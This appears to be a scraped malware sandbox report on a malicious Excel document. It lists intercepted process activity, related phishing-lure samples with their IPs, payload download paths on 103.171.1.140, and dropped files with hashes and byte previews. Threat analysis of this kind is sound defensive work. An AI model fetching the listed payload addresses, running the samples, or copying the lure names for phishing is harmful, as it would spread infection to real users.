Time Type Description

19:23:36 API Interceptor 88x Sleep call for process: EQNEDT32.EXE modified

19:23:44 API Interceptor 35x Sleep call for process: vbc.exe modified

19:24:00 API Interceptor 211x Sleep call for process: cscript.exe modified

19:24:55 API Interceptor 1x Sleep call for process: explorer.exe modified

Show All

Simulations

Behavior and APIs
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Match Associated Sample Name / URL SHA 256 Detection Link Context

103.171.1.140 PROFORMA INVOICE.xlsx Get hash malicious Browse  103.171.1
.140/42671
11111_2/.v
bc.exe

0416ORTX20497421.xlsx Get hash malicious Browse  103.171.1
.140/76190
111111_1/.
vbc.exe

ShzuSh.xlsx Get hash malicious Browse  103.171.1
.140/x386w
/.vbc.exe

209673.xlsx Get hash malicious Browse  103.171.1
.140/77475
7m/.vbc.exe

Match Associated Sample Name / URL SHA 256 Detection Link Context

dolphin-render-ce5083-1529577379-
1289163597.eu-west-
1.elb.amazonaws.com

QUOTATION REQUEST DOCUMENTS - GOTO TRADI
NG.exe

Get hash malicious Browse 54.171.119.91

RX6TtlclV1.exe Get hash malicious Browse 54.171.119.91

NICHIDEN VIET NAM - PRODUCTS LIST.exe Get hash malicious Browse 54.171.119.91

4C0P93ko4u.exe Get hash malicious Browse 52.208.193.50

triage_dropped_file.exe Get hash malicious Browse 54.171.119.91

New order payment.exe Get hash malicious Browse 52.210.179.84

Diagram and Specifications.exe Get hash malicious Browse 52.210.179.84

ZeVbJ7HLUZ.exe Get hash malicious Browse 34.254.166.140

bank.doc.exe Get hash malicious Browse 34.243.160.251

E1bCgdZF3a.msi Get hash malicious Browse 52.50.39.94

FaxMessage5645345.html Get hash malicious Browse 52.17.15.53

enlu5xSNKV.exe Get hash malicious Browse 52.49.20.157

New _Items.Xlsx.Pdf.exe Get hash malicious Browse 54.246.199.25

9V3LjvhSMb.exe Get hash malicious Browse 52.49.20.157

COAU7229898130.xlsx Get hash malicious Browse 34.240.98.209

PO # 5524792.exe Get hash malicious Browse 34.248.153.214

order.exe.exe Get hash malicious Browse 52.48.207.46

Match Associated Sample Name / URL SHA 256 Detection Link Context

CLOUDFLARENETUS ekZDWpGPTB.exe Get hash malicious Browse 162.159.13
4.233

Acct # 3288-1258-4NQ39NGAY0GD'pdf.ppam Get hash malicious Browse 104.16.202.237

Acct # 3288-1258-1NQ39NGAY0GD'pdf.ppam Get hash malicious Browse 104.16.203.237

Credit Card and ID.ppam Get hash malicious Browse 104.16.203.237

P.O-5433ERE.doc Get hash malicious Browse 172.67.184.102

Quotation No. Q07387.doc Get hash malicious Browse 104.21.19.200

hSlk750R2b.exe Get hash malicious Browse 104.23.98.190

Order Contract_signed (2NQ39NGAY0GD).ppam Get hash malicious Browse 104.16.203.237

Halbank Ekstre 2021101 073653 270424.exe Get hash malicious Browse 172.67.188.154

Hong Jin International Co Ltd -Order Specification.exe Get hash malicious Browse 104.21.19.200

ORDER PROPOSAL.exe Get hash malicious Browse 162.159.13
4.233

8p2NlqFgew.exe Get hash malicious Browse 162.159.13
5.233

TT COPY_02101011.exe Get hash malicious Browse 172.67.158.42

GZ4OR9sIdP.exe Get hash malicious Browse 172.67.188.154

4lWWTrEJuS.exe Get hash malicious Browse 104.21.31.203

Joe Sandbox View / Context

IPs

Domains

ASN
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https://view.joesandbox.com/analysis/415851/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415851/html/none?idtype=webid
https://view.joesandbox.com/analysis/415096/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415096/html/none?idtype=webid
https://view.joesandbox.com/analysis/412227/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412227/html/none?idtype=webid
https://view.joesandbox.com/analysis/410643/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410643/html/none?idtype=webid
https://view.joesandbox.com/analysis/416259/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416259/html/none?idtype=webid
https://view.joesandbox.com/analysis/413476/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413476/html/none?idtype=webid
https://view.joesandbox.com/analysis/413180/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413180/html/none?idtype=webid
https://view.joesandbox.com/analysis/411476/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411476/html/none?idtype=webid
https://view.joesandbox.com/analysis/404686/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404686/html/none?idtype=webid
https://view.joesandbox.com/analysis/401107/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401107/html/none?idtype=webid
https://view.joesandbox.com/analysis/396659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396659/html/none?idtype=webid
https://view.joesandbox.com/analysis/366935/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366935/html/none?idtype=webid
https://view.joesandbox.com/analysis/352174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/352174/html/none?idtype=webid
https://view.joesandbox.com/analysis/346342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/346342/html/none?idtype=webid
https://view.joesandbox.com/analysis/335623/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/335623/html/none?idtype=webid
https://view.joesandbox.com/analysis/285138/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/285138/html/none?idtype=webid
https://view.joesandbox.com/analysis/284600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/284600/html/none?idtype=webid
https://view.joesandbox.com/analysis/278113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/278113/html/none?idtype=webid
https://view.joesandbox.com/analysis/277308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/277308/html/none?idtype=webid
https://view.joesandbox.com/analysis/274801/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274801/html/none?idtype=webid
https://view.joesandbox.com/analysis/170330/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/170330/html/none?idtype=webid
https://view.joesandbox.com/analysis/416461/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416461/html/none?idtype=webid
https://view.joesandbox.com/analysis/416437/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416437/html/none?idtype=webid
https://view.joesandbox.com/analysis/416426/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416426/html/none?idtype=webid
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416419/html/none?idtype=webid
https://view.joesandbox.com/analysis/416401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416401/html/none?idtype=webid
https://view.joesandbox.com/analysis/416399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416399/html/none?idtype=webid
https://view.joesandbox.com/analysis/416396/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416396/html/none?idtype=webid
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416395/html/none?idtype=webid
https://view.joesandbox.com/analysis/416392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416392/html/none?idtype=webid
https://view.joesandbox.com/analysis/416389/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416389/html/none?idtype=webid
https://view.joesandbox.com/analysis/416388/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416388/html/none?idtype=webid
https://view.joesandbox.com/analysis/416387/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416387/html/none?idtype=webid
https://view.joesandbox.com/analysis/416383/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416383/html/none?idtype=webid
https://view.joesandbox.com/analysis/416381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416381/html/none?idtype=webid
https://view.joesandbox.com/analysis/416373/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416373/html/none?idtype=webid


TT_SWIFT_Export Order_noref S10SMG00318021.exe Get hash malicious Browse 23.227.38.74

TxIDbatch#7809.htm Get hash malicious Browse 104.16.18.94

Se adjunta el pedido, proforma.exe Get hash malicious Browse 162.159.13
4.233

Google_Play_Store_flow_split.apk Get hash malicious Browse 104.21.4.48

Statement.html Get hash malicious Browse 104.16.18.94

AMAZON-02US TsOl2c6Yc6 Get hash malicious Browse 35.76.103.249

6kW7j4xN7g Get hash malicious Browse 18.156.164.126

GLV715572436.xlsm Get hash malicious Browse 65.2.149.25

2qu14BdrnD Get hash malicious Browse 18.176.176.141

CSOIYQRONAGPE1.xlsm Get hash malicious Browse 18.192.215.191

TT COPY_02101011.exe Get hash malicious Browse 3.96.23.237

arm Get hash malicious Browse 13.49.178.146

cK1g5gckZR9VHjj.exe Get hash malicious Browse 3.64.163.50

Nuevo Pedido.exe Get hash malicious Browse 3.64.163.50

Zr26f1rL6r.exe Get hash malicious Browse 3.64.163.50

OPKyR75fJn.exe Get hash malicious Browse 52.218.1.8

Ljm7n1QDZe Get hash malicious Browse 52.53.23.55

E9HT1FxV8B Get hash malicious Browse 52.52.93.219

SOA.exe Get hash malicious Browse 99.83.154.118

a.r.m.v.6.l Get hash malicious Browse 54.171.230.55

meerkat.arm7 Get hash malicious Browse 52.56.234.247

2MzNonluPU Get hash malicious Browse 34.249.145.219

sfhJLQhj84.exe Get hash malicious Browse 3.131.99.219

Proforma invoice for order-PO 2108137 R1.exe Get hash malicious Browse 3.145.25.98

mal1.html Get hash malicious Browse 13.224.193.20

AARNET-AS-
APAustralianAcademicandResearchNet
workAARNe

Facturas Pagadas al Vencimiento.xlsx Get hash malicious Browse 103.167.90.66

MV LILY SEA.xlsx Get hash malicious Browse 103.170.254.66

VDI-QUOTATION-PAYMENT.xlsx Get hash malicious Browse 103.167.92.133

6kW7j4xN7g Get hash malicious Browse 103.191.21
1.172

DETAILS.vbs Get hash malicious Browse 103.167.84.150

20211125 CIRCULAR ANULACION CUENTA BANCARIA 
BANKIA.xlsx

Get hash malicious Browse 103.167.92.73

meerkat.x86 Get hash malicious Browse 103.160.46.142

oQANZnrt9d Get hash malicious Browse 103.163.1.44

y8CYO3E0MF Get hash malicious Browse 130.222.22.174

RFQ_PO-330758290144.xlsx Get hash malicious Browse 103.167.92.57

PROFORMA INVOICE.xlsx Get hash malicious Browse 103.171.1.140

NQsLN1nOON Get hash malicious Browse 103.170.35.74

ANT_0402205_001_144747_20211117.xlsx Get hash malicious Browse 103.167.92.73

IAENMAI.xlsx Get hash malicious Browse 103.167.90.66

IAENMAI.xlsx Get hash malicious Browse 103.167.90.66

psI4iJBgiA Get hash malicious Browse 138.7.41.139

sora.arm-20211123-2050 Get hash malicious Browse 103.181.193.3

20212311.xlsx Get hash malicious Browse 103.171.1.219

justificantes anticipos.xlsx Get hash malicious Browse 103.167.90.66

20211118 CIRCULAR ANULACION CUENTA BANCARIA 
BANKIA.xlsx

Get hash malicious Browse 103.167.92.73

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.vbc[1].exe

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

JA3 Fingerprints

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/416372/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416372/html/none?idtype=webid
https://view.joesandbox.com/analysis/416365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416365/html/none?idtype=webid
https://view.joesandbox.com/analysis/416362/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416362/html/none?idtype=webid
https://view.joesandbox.com/analysis/416349/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416349/html/none?idtype=webid
https://view.joesandbox.com/analysis/416344/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416344/html/none?idtype=webid
https://view.joesandbox.com/analysis/416453/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416453/html/none?idtype=webid
https://view.joesandbox.com/analysis/416451/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416451/html/none?idtype=webid
https://view.joesandbox.com/analysis/416441/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416441/html/none?idtype=webid
https://view.joesandbox.com/analysis/416440/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416440/html/none?idtype=webid
https://view.joesandbox.com/analysis/416386/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416386/html/none?idtype=webid
https://view.joesandbox.com/analysis/416383/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416383/html/none?idtype=webid
https://view.joesandbox.com/analysis/416356/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416356/html/none?idtype=webid
https://view.joesandbox.com/analysis/416303/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416303/html/none?idtype=webid
https://view.joesandbox.com/analysis/416302/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416302/html/none?idtype=webid
https://view.joesandbox.com/analysis/416207/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416207/html/none?idtype=webid
https://view.joesandbox.com/analysis/416190/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416190/html/none?idtype=webid
https://view.joesandbox.com/analysis/416173/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416173/html/none?idtype=webid
https://view.joesandbox.com/analysis/416161/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416161/html/none?idtype=webid
https://view.joesandbox.com/analysis/416155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416155/html/none?idtype=webid
https://view.joesandbox.com/analysis/416146/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416146/html/none?idtype=webid
https://view.joesandbox.com/analysis/416142/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416142/html/none?idtype=webid
https://view.joesandbox.com/analysis/416129/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416129/html/none?idtype=webid
https://view.joesandbox.com/analysis/416110/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416110/html/none?idtype=webid
https://view.joesandbox.com/analysis/416075/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416075/html/none?idtype=webid
https://view.joesandbox.com/analysis/416064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416064/html/none?idtype=webid
https://view.joesandbox.com/analysis/416462/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416462/html/none?idtype=webid
https://view.joesandbox.com/analysis/416459/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416459/html/none?idtype=webid
https://view.joesandbox.com/analysis/416457/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416457/html/none?idtype=webid
https://view.joesandbox.com/analysis/416451/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416451/html/none?idtype=webid
https://view.joesandbox.com/analysis/416185/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416185/html/none?idtype=webid
https://view.joesandbox.com/analysis/416166/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416166/html/none?idtype=webid
https://view.joesandbox.com/analysis/416141/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416141/html/none?idtype=webid
https://view.joesandbox.com/analysis/416063/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416063/html/none?idtype=webid
https://view.joesandbox.com/analysis/416060/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416060/html/none?idtype=webid
https://view.joesandbox.com/analysis/415867/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415867/html/none?idtype=webid
https://view.joesandbox.com/analysis/415851/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415851/html/none?idtype=webid
https://view.joesandbox.com/analysis/415637/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415637/html/none?idtype=webid
https://view.joesandbox.com/analysis/415567/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415567/html/none?idtype=webid
https://view.joesandbox.com/analysis/415506/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415506/html/none?idtype=webid
https://view.joesandbox.com/analysis/415501/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415501/html/none?idtype=webid
https://view.joesandbox.com/analysis/415444/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415444/html/none?idtype=webid
https://view.joesandbox.com/analysis/415381/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415381/html/none?idtype=webid
https://view.joesandbox.com/analysis/415213/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415213/html/none?idtype=webid
https://view.joesandbox.com/analysis/415108/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415108/html/none?idtype=webid
https://view.joesandbox.com/analysis/415098/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415098/html/none?idtype=webid


Category: downloaded

Size (bytes): 475934

Entropy (8bit): 6.263679071719373

Encrypted: false

SSDEEP: 6144:2Gi2L3NWrOG5s3ytYBz5Sy/M3L+uM4jMzfWO/j4zR03bze/XOpSmREM3:hUb5krzwR3LIfL4zq3baOEEz3

MD5: 4D1B51FE258BE32D346B3507ABEDDCB3

SHA1: 977A34967B0B42A19969DD1106EF74439D306DCE

SHA-256: 0C6D57557120DECEDC9A102794EA95BCAF64529EB1F18058E4DF62C34B724988

SHA-512: 27330F64606CFEBBE834E2D419E5F34207C1BFBBAE22DA52763C8FE8E48A001D52E2C5AB1B93EE9CFD2E5B4DF02C09628F82BE2CD5D340CA0711C004AED1E
C12

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: low

IE Cache URL: 103.171.1.140/384500000_1/.vbc.exe

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........uJ...$...$...$./.{...$...%.:.$.".y...$..7....$.f."...$.Rich..$.................PE
..L......H.................\...........0.......p....@.......................... ...............................................t.......p..p............................................................................p...............................tex
t...h[.......\.................. ..`.rdata.......p.......`..............@..@.data...X\...........t..............@....ndata...................................rsrc...p....p.......x..............@..@............................................
..............................................................................................................................................................................................................................................................................
..............................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\.vbc[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3B711330.png
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 10202

Entropy (8bit): 7.870143202588524

Encrypted: false

SSDEEP: 192:hxKBFo46X6nPHvGePo6ylZ+c5xlYYY5spgpb75DBcld7jcnM5b:b740IylZ+c5xlYF5Sgd7tBednd

MD5: 66EF10508ED9AE9871D59F267FBE15AA

SHA1: E40FDB09F7FDA69BD95249A76D06371A851F44A6

SHA-256: 461BABBDFFDCC6F4CD3E3C2C97B50DDAC4800B90DDBA35F1E00E16C149A006FD

SHA-512: 678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEB5C3648B305

Malicious: false

Reputation: moderate, very likely benign file

Preview:
.PNG........IHDR...............|.....sRGB.........gAMA......a.....pHYs..........o.d..'oIDATx^.k...u.D.R.b\J"Y.*.".d.|pq..2.r,.U.#.)F.K.n.).JI)."....T.....!.....`/H. ...\<...K...DQ"..]..(RI..>.s..t..w.
>..U....>.....s/....1./^..p..........Z.H3.y..:..<..........[...@[.........Z.`E....Y:{.,.<y..x....O..................M....M........:..tx..*..........'o..kh.0./.3.7.V...@t........x......~...A.?w....@...A]h.0./.N.
.^,h......D.....M..B..a}a.a.i.m...D.....M..B..a}a.a.........A]h.0.....P41..-........&.!...!.x......(.......e..a :.+.|.Ut.U_..........2un......F7[.z.?...&..qF}.}..]I...+..J.w.~Aw....V..-.....B, W.5..P.y....>
[.....q.t.6U<..@.....qE9.nT.u...`..AY.?...Z<.D.t...HT..A.....8.)..M...k\...v...`..A..?.N.Z<.D.t.Htn.O.sO...0..wF...W.#H...!p....h...|.V+Kws2/......W*....Q.,...8X.)c...M..H.|.h.0....R..
.Mg!...B...x..;....Q..5........m.;.Q./9..e"{Y.P..1x...FB!....C.G.......41.........@t@W......B/.n.b...w..d....k'E..&..%l.4SBt.E?..m...eb*?.....@.....a :.+H...Rh..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3BA6FB7C.png
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 19408

Entropy (8bit): 7.931403681362504

Encrypted: false

SSDEEP: 384:6L3Vdo4yxL8FNgQ9jYtUO5Zn4tIlQ1Yes7D6PhbXngFfZdQTEfn4n6EVPBo6a:2exL8rgQ2tVF4GlQUuZXnYfTs6EJiL

MD5: 63ED10C9DF764CF12C64E6A9A2353D7D

SHA1: 608BE0D9462016EA4F05509704CE85F3DDC50E63

SHA-256: 4DAC3676FAA787C28DFA72B80FE542BF7BE86AAD31243F63E78386BC5F0746B3

SHA-512: 9C633C57445D67504E5C6FE4EA0CD84FFCFECFF19698590CA1C4467944CD69B7E7040551A0328F33175A1C698763A47757FD625DA7EF01A98CF6C585D439B4A7

Malicious: false

Reputation: moderate, very likely benign file

Preview:
.PNG........IHDR.............L.!... .IDATx..g.].y&X'...{;.t@F. .. .D*Q.eI..#[.5~lK3...z.3.gw...^.=;.FV..%..d..%R..E......F.ts<..X..f..F..5|..s..:Uu.W.U....!.9...A..u/...g.w......lx...pG..2..
x..w..!...w.pG..2..x..w..!.....m.a>.....R........x.IU[.A.....].Y.L..!....|AQ.h4....x..\6....|.i..]..Q..(...C..A..Z... (j.f4..u=..o.D.oj....y6......)I.......G.{zn.M,...?#..,...|....y....G.LOO..?.....7..-
.>.._.m[.........q.O}..G....?....h4.=t..c...eY.........3g..|0...x...|..../F....o.._|...?.O..........c..x._..7vF..0.....B>.....}{..V....P(.....c.....4...s...K.K."c(.....}.0......._z...}..y<<.......<..^.7....k.
r.W~..c._.....$J....:.w._~.........._..Wp.....q........G..vA.D.E......"...?...'....}nvv....^.^.42..f....Q(..$...`(vidd..8......y.Z{...L.~...k....z....@@0...Bk..?.r..7...9u...w.>w.C..j.n..a..V.?..?...e
s#.G...l.&I..)..).J..>...+Mn.^.W.._....D...".}..k......8.N_.v..>.y.@0..,/.........>.a...........z.].../.r .........../3.....?.z..g.Z.....l0.L.S....._../.r

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4C56E6BA.emf
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000

Category: dropped

Size (bytes): 498420

Entropy (8bit): 0.6413582634752348
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Encrypted: false

SSDEEP: 384:mZIXXwBkNWZ3cJuUvmWnTG+W4DH8ddxzsFfW3:moXwBkNWZ3cjvmWa+VDO

MD5: 1E7A8CBA90D89CD1D5710C1FF7FA77A7

SHA1: CC5412614638647C010B300E0149777638DAF3D7

SHA-256: 64BDD89994D6E14E386C35BB48DA739AA156F2453B47F810EE4D51461723B12B

SHA-512: E75011D87322A2111FF322AB4A98A1A55C68BB08E158D92834B0818EBA216C16A7373ECF7C28C9CCD5FE017E7E886C26532191AFAA80892EB5806930C6A8F28E

Malicious: false

Preview:
....l...............2...........m>..C... EMF........&...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?
!@...........@......................................................%...........%...................................R...p................................@."C.a.l.i.b.r.i......................................................Y$...X...f.Y.@$.%
...4..x.........\..RQ>[..........D.....$Q>[...... ...Id.Y...... ............d.Y........................................%...X...%...7...................{$..................C.a.l.i.b.r.i...........h..X..........8.Y........dv......%.
..........%...........%...........!..............................."...........%...........%...........%...........T...T..........................@.E.@....2.......L.......................P... ...6...F....F...F..EMF+*@..$..........?
...........?.........@...........@..........*@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4C56E6BA.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5EF52A6.png
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 600 x 306, 8-bit colormap, non-interlaced

Category: dropped

Size (bytes): 42465

Entropy (8bit): 7.979580180885764

Encrypted: false

SSDEEP: 768:MUC94KctLo6+FkVfaapdydSo7CT3afPFUaV8v9TIzsrZsQ54kvd8gjDsss2Ur6:MJctLo63a8dydV+3WOa+90sZsSyMs+

MD5: C31D090D0B6B5BCA539D0E9DB0C57026

SHA1: D00CEE7AEE3C98505CDF6A17AF0CE28F2C829886

SHA-256: 687AFECEE6E6E286714FD267E0F6AC74BCA9AC6469F4983C3EF7168C65182C8D

SHA-512: B23CA96097C2F5ED8CC251C0D6A34F643EE2251FDF3DEF6A962A168D82385CFEE2328D39FF86AADEA5EDBBF4D35882E6CD9CF8ECE43A82BD8F06383876B247
56

Malicious: false

Preview:
.PNG........IHDR...X...2......?^O..._PLTE.......................................................................gbh................j...^k....-.........................................>Jg......h..m.............l`.......qjG.9\LC....
......u.*.'.................//F.......h.++..j...e....A.H?>.......|DG...........G./.`<..G...O:R..j...................................................tRNS.@..f...0IDATx..Z.s.4.]:.".F..Y.5.4!...WhiM..]Cv.Q......e.
....x....~...x.g.%K.....X.....brG..sW:~g.Tu...U.R...W.V.U#TAr?..?}.C3.K...P..n..A..av?C..J.}.e.]...CA._y......~.2.^..Z..'...@......)....s.(...ey......{.)e..*]\-..yG2Ne.B....\@q....8.....W./i
.C..P.*...O..e..7./..k:..t....]"../...F......y.......0`.3..g.)..Z...tR.bU.].B.Y...Ri^.R......D.*........=(tL.W.y....n.\.s..D.5.....c....8A....:;.)..].a]...;B0...B.0&@*.+..2..4....-X.>)..h~.J..".nO=VV.
t...q..5......f.h......DPyJ*....E..:.....K.... ......E.%i..C..V..\.......z.^.r7.V...q.`....3..E3J8Ct.Z.l.GI.).R!b

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\632450BE.png
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 68702

Entropy (8bit): 7.960564589117156

Encrypted: false

SSDEEP: 1536:Hu2p9Cy+445sz12HnOFIr0Z7gK8mhVgSKe/6mLsw:O2p9w1HCIOTKEhQw

MD5: 9B8C6AB5CD2CC1A2622CC4BB10D745C0

SHA1: E3C68E3F16AE0A3544720238440EDCE12DFC900E

SHA-256: AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFD95506FE0

SHA-512: 407F29E5F0C2F993051E4B0C81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FC715

Malicious: false

Preview:
.PNG........IHDR.....................pHYs..........+......tIME......&...T....tEXtAuthor....H....tEXtDescription...!#....tEXtCopyright....:....tEXtCreation time.5.......tEXtSoftware.]p.:....t
EXtDisclaimer.........tEXtWarning........tEXtSource.........tEXtComment........tEXtTitle....'.. .IDATx...y|T.?..l..3.   .$.D..(v....Q.q.....W.[...Z..-.*Hlmm...4V..BU..V@,h.t.....}...cr.3....
...B3s.....|.}.G6j.t.Qv..-Q9...r\"""""""".H9...Y..*.v...........7........Q..^t{P..C..""""""""".e..n@7B.{Q.S.HDDDDDDDD...........\bxHDDDDDDDDD.1<$""""""""......d2Y@9`@c.v..8P...0`..
a|.....<... ..+...[""""""""".....~..,........+.t..._..o.....8z.$ ..U.Mp".....Z8.a;.B..'...y..I^......e........,}.+.M..K...M...A.7.Z[[.E.....B...nF.:5.."""""""".(.....d.3*..E.=...[o...o.....n..._.{..-..M.3....px
(.5..4lt..&....d.R!.......!.$''.n.....X,..__ar.d..0 .M#"""""""..S...T...Ai.8P^XX(..d.....u[.f...8........[`...q..9R../.....v.b.5.r`.[.A..a.....a6......S.o.h7...........g..v..+.~.oB.H..|..8...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6391CDA7.png
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 14828

Entropy (8bit): 7.9434227607871355

Encrypted: false

SSDEEP: 384:zIZYVvfv3ZOxvHe5EmlbliA2r1BMWWTXRRO/QX:Td3Z46xiXzW/kO

MD5: 58DD6AF7C438B638A88D107CC87009C7

SHA1: F25E7F2F240DC924A7B48538164A5B3A54E91AC6

SHA-256: 9269180C35F7D393AB5B87FB7533C2AAA2F90315E22E72405E67A0CAC4BA453A

SHA-512: C1A3543F221FE7C2B52C84F6A12607AF6DAEF60CCB1476D6D3E957A196E577220801194CABC18D6A9A8269004B732F60E1B227C789A9E95057F282A54DBFC807

Malicious: false
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Preview:
.PNG........IHDR.............L.!... .IDATx..gp\.y>~v...WTb... ...!.M.H...d.J..3.8.(.L&.lM.d.o..$..q.D.I.....k,J.b3%QD!.Bt,.........p.+.....x?`....{.9o..W.q.Y.gM.g=.5"dm.V..M...iX..
6....g=.R(..N'.0&.I(..B2..\...|.t......R.T.......J...Q.U....F.I..B.\...B.Z-....D")..,.J.....u..1.#....A.P.i..!...3.U1....RI..9....:..~..r..N.....Je,...l...(..CCC...v....a.l6KQ...ooo...d.fxx...k``...5.
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<3..555........c...xo.Z.X.J...Lhv.u.q..C..D......-...#n...!.W..#...x.m..&.S........cG.... s..H.=......,...(((HJJR.s..05J...2m.....=..R..Gs....G.3.z..."............(..1$..)..[..c&t..ZHv..5....3#..~8...
